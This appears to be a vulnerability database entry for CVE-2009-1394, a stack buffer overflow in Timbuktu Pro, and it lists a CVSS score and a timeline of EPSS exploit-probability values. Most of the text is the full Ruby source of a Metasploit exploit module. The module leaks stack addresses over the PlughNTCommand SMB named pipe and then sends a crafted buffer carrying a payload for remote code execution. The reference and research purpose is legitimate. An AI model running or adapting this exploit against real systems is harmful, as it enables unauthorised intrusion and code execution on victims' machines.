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Stack-based buffer overflow in Motorola Timbuktu Pro 8.6.5 on Windows allows remote attackers to execute arbitrary code by sending a long malformed string over the PlughNTCommand named pipe.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
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V2
9.3
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The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
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EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
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71.46%
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2023-03-12
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91.53%
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2023-04-02
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92.19%
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2023-07-02
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92.07%
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2023-07-09
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92.07%
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2023-08-20
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91.2%
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2023-09-17
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91.2%
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2023-10-01
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90.86%
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2023-10-22
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90.86%
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2023-11-19
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92.21%
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2024-03-17
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92.93%
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2024-06-02
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92.93%
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2024-08-25
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90.58%
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2024-09-22
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90.41%
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2024-10-27
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90.39%
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2024-12-08
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89.87%
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2024-12-22
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89.93%
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2025-02-09
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87.79%
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2025-01-19
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89.93%
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2025-02-16
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87.79%
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2025-03-18
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48.09%
2025-03-30
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49.01%
2025-03-30
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# $Id: timbuktu_plughntcommand_bof.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
in a pretty novel way.
This exploit requires two connections. The first connection is used to leak stack data
using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying
a large value for this argument it is possible to cause Timbuktu to reply to the initial
request with leaked stack data. Using this data allows for reliable exploitation of the
buffer overflow vulnerability.
Props to Infamous41d for helping in finding this exploitation path.
The second connection utilizes the data from the data leak to accurately exploit
the stack based buffer overflow vulnerability.
TODO:
hdm suggested using meterpreter's migration capability and restarting the process
for multishot exploitation.
},
'Author' => [ 'bannedit' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2009-1394' ],
[ 'OSVDB', '55436' ],
[ 'BID', '35496' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
# we use a memory leak technique to get the return address
# tested on Windows XP SP2/SP3 may require a bit more testing
[ 'Automatic Targeting',
{
# ntdll .data (a fairly reliable address)
# this address should be relatively stable across platforms/SPs
'Writable' => 0x7C97B0B0 + 0x10 - 0xc
}
],
],
'Privileged' => true,
'DisclosureDate' => 'Jun 25 2009',
'DefaultTarget' => 0))
end
# we make two connections this code just wraps the process
def smb_connection
connect()
smb_login()
print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
pipe = simple.create_pipe('\\PlughNTCommand')
fid = pipe.file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
return pipe
end
def mem_leak
pipe = smb_connection()
print_status("Constructing memory leak...")
writable_addr = target['Writable']
buf = make_nops(114)
buf[0] = "3 " # specifies the command
buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code
buf[98] = [writable_addr].pack('V')
buf[110] = [0x1ff8].pack('V') # number of bytes to leak
pipe.write(buf)
leaked = pipe.read()
leaked << pipe.read()
if (leaked.length < 0x1ff8)
print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")
pipe.close
disconnect
return
end
offset = 0x1d64
stackaddr = leaked[offset, 4].unpack('V')[0]
bufaddr = stackaddr - 0xcc8
print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}"
print_status("Closing connection...")
pipe.close
disconnect
return stackaddr, bufaddr
end
def exploit
stackaddr, bufaddr = mem_leak()
if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side
print_error("Error: memory leak failed")
end
pipe = smb_connection()
buf = make_nops(1280)
buf[0] = "3 "
buf[94] = [bufaddr+272].pack('V') # create a fake object
buf[99] = "\x00"
buf[256] = [bufaddr+256].pack('V')
buf[260] = [bufaddr+288].pack('V')
buf[272] = "\x00"
buf[512] = payload.encoded
pipe.write(buf)
end
end